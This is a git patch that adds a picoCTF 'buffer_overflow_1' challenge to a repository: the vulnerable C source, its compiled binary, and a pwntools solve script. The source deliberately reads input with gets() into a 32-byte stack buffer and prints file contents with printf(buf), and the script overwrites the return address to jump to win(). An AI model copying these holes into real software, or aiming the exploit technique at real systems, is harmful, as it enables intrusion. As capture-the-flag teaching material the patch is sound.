From 2e33defa564a0325aa9458b98cf4fffbe778f4c0 Mon Sep 17 00:00:00 2001 From: h7x4 Date: Tue, 3 Sep 2024 19:33:13 +0200 Subject: [PATCH] pwn/buffer_overflow_1 --- pwn/buffer_overflow_1/solve.py | 31 ++++++++++++++++++++++++ pwn/buffer_overflow_1/vuln | Bin 0 -> 15704 bytes pwn/buffer_overflow_1/vuln.c | 42 +++++++++++++++++++++++++++++++++ 3 files changed, 73 insertions(+) create mode 100755 pwn/buffer_overflow_1/solve.py create mode 100755 pwn/buffer_overflow_1/vuln create mode 100644 pwn/buffer_overflow_1/vuln.c diff --git a/pwn/buffer_overflow_1/solve.py b/pwn/buffer_overflow_1/solve.py new file mode 100755 index 0000000..60b811c --- /dev/null +++ b/pwn/buffer_overflow_1/solve.py @@ -0,0 +1,31 @@ +#!/usr/bin/env nix-shell +#!nix-shell -p python3 -i python3 python3Packages.pwntools + +from pwn import * + +exe = ELF("./vuln") + +context.binary = exe + +ADDR, PORT, *_ = "saturn.picoctf.net 60178".split() + +def conn(): + if args.REMOTE: + r = remote(ADDR, PORT) + else: + r = process([exe.path]) + + return r + +def main(): + r = conn() + + r.recvuntil(b"Please enter your string:") + offset = 44 # found with pwndbg + payload = b'A' * offset + p32(exe.sym.win) + r.sendline(payload) + print(r.recvall()) + r.close() + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/pwn/buffer_overflow_1/vuln b/pwn/buffer_overflow_1/vuln new file mode 100755 index 0000000000000000000000000000000000000000..05e89bfb6fde125a2649cb0b23dc1bfef1bdff09 GIT binary patch literal 15704 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 literal 0 HcmV?d00001 diff --git a/pwn/buffer_overflow_1/vuln.c b/pwn/buffer_overflow_1/vuln.c new file mode 100644 index 0000000..e2dcd2c --- /dev/null +++ b/pwn/buffer_overflow_1/vuln.c @@ -0,0 +1,42 @@ +#include +#include +#include +#include +#include +#include "asm.h" + +#define BUFSIZE 32 +#define FLAGSIZE 64 + +void win() { + char buf[FLAGSIZE]; + FILE *f = fopen("flag.txt","r"); + if (f == NULL) { + printf("%s %s", "Please create 'flag.txt' in this directory with your", + "own debugging flag.\n"); + exit(0); + } + + fgets(buf,FLAGSIZE,f); + printf(buf); +} + +void vuln(){ + char buf[BUFSIZE]; + gets(buf); + + printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address()); +} + +int main(int argc, char **argv){ + + setvbuf(stdout, NULL, _IONBF, 0); + + gid_t gid = getegid(); + setresgid(gid, gid, gid); + + puts("Please enter your string: "); + vuln(); + return 0; +} +